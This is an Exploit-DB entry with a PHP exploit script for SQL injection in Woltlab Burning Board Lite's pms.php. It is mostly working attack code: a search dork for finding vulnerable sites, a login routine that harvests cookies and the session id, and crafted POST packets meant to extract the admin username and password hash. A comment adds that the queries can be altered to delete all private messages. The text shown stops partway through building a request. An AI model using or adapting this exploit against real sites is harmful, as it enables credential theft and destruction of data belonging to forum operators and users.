Exploit-DB #3262
Description: Woltlab Burning Board Lite 1.0.2pl3e - 'pms.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-02-03
Author: rgod

Exploit:
<?php
print_r('
-------------------------------------------------------------------------------
Woltlab Burning Board Lite <= 1.0.2pl3e pms.php / sql injection exploit
by rgod
mail: retrog at alice dot it
site: http://retrogod.altervista.org

dork: "Powered by Burning Board" -exploit -dork -johnny
version specific:
"Powered by Burning Board Lite 1.0.2" "2001-2004 WoltLab GmbH"
-------------------------------------------------------------------------------
');
/*
works regardless of php.ini settings
against MySQL >= 4.1
*/
if ($argc<6) {
print_r('
-------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path user pass action OPTIONS
host:      target server (ip/hostname)
path:      path to wbblite
user/pass: valid user credentials
action:    1 vulnerability check
           2 disclose admin credentials
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]:    "    a proxy
Example:
php '.$argv[0].' localhost /wbblite/ rgod pass 1 -P1.1.1.1:80
php '.$argv[0].' localhost /wbblite/ rgod pass 2 ls -la -p81
-------------------------------------------------------------------------------
');
die;
}

/*
short explaination:

pms.php, near lines 140-160, sql injection in $_POST['pmid'] argument:

...
if(isset($_POST['action']) && $_POST['action']=="delmark") {
 if($_POST['pmid'] && count($_POST['pmid'])) $pmids=implode(',',$_POST['pmid']);
 else $pmids="";
 if($pmids) {
  if($_POST['folderid']=="outbox") {
   $db->query("DELETE FROM bb".$n."_privatemessage WHERE senderid='$wbbuserdata[userid]' AND deletepm=1 AND privatemessageid IN (".addslashes($pmids).")");
   $db->unbuffered_query("UPDATE bb".$n."_privatemessage SET deletepm=2 WHERE senderid='$wbbuserdata[userid]' AND privatemessageid IN (".addslashes($pmids).")",1);
  }
  else {
   $db->query("DELETE FROM bb".$n."_privatemessage WHERE recipientid='$wbbuserdata[userid]' AND deletepm=2 AND privatemessageid IN (".addslashes($pmids).")");
   $db->unbuffered_query("UPDATE bb".$n."_privatemessage SET deletepm=1 WHERE recipientid='$wbbuserdata[userid]' AND privatemessageid IN (".addslashes($pmids).")",1);
  }
 }
 header("Location: pms.php?folderid=$folderid&sid=$session[hash]");
 exit();
}
...

we have an addslashes() but no quotes...

you can ask true/false questions to the database by deleting / sending private messages to yourself...

this one discloses the admin username/md5 hash pair

note : if working, this one will preserve private messages with a subject other than 'sun-tzu'
but... modifying queries an attacker can easily delete all forum private messages
*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
	$c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
	}
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$user=$argv[3];
$pass=$argv[4];
$action=(int)$argv[5];
$port=80;
$proxy="";
for ($i=5; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
if (($action!=1) and ($action!=2)) {echo "wrong action...";}

$data   ="l_username=$user&l_[CREDENTIAL_REDACTED]=send";
$packet ="POST ".$p."login.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="User-Agent: Lynx/2.8.3dev.8 libwww-FM/2.14FM\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Accept: text/plain\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$cookie="";
for ($i=1; $i<count($temp); $i++)
{
  $temp2=explode(" ",$temp[$i]);
  $cookie.=" ".trim($temp2[0]);
  if ($cookie[strlen($cookie)-1]!=";"){$cookie.=";";}
}
if ((!eregi("userpassword",$cookie)) | (!eregi("userid",$cookie)))
{die("failed to login...you need valid user credentials to to do this...");}
else {
  //echo "cookie -> ".$cookie."\n\n";
}

$temp=explode("index.php?sid=",$html);
$temp2=explode("\"",$temp[1]);
$sid=trim($temp2[0]);
//echo "sid -> ".$sid."\n\n";

if ($action==1)
{
$sql="suntzu/*";
$sql=urlencode($sql);
$data ="action=delmark";
$data.="&pmid[0]=$sql";
$data.="&folderid=outbox";
$packet ="POST ".$p."pms.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: applicat